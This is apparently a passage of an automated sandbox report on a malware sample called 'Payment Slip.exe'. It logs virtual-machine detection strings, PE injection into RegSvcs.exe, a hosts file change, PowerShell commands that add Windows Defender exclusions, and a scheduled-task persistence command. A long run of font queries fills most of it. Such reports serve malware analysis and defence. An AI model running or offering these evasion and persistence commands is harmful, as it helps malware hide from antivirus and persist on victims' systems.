                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeThread delayed: delay time: 922337203685477
                    Source: Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                    Source: Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
                    Source: Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                    Source: RegSvcs.exe, 0000000A.00000002.634398252.0000000000C09000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess token adjusted: Debug
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618CF88 LdrInitializeThunk,
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory allocated: page read and write | page guard

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Writes to foreign memory regions
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 436000
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 438000
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 782008
                    Modifies the hosts file
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Injects a PE file into a foreign processes
                    Source: C:\Users\user\Desktop\Payment Slip.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
                    Adds a directory exclusion to Windows Defender
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Users\user\Desktop\Payment Slip.exe VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
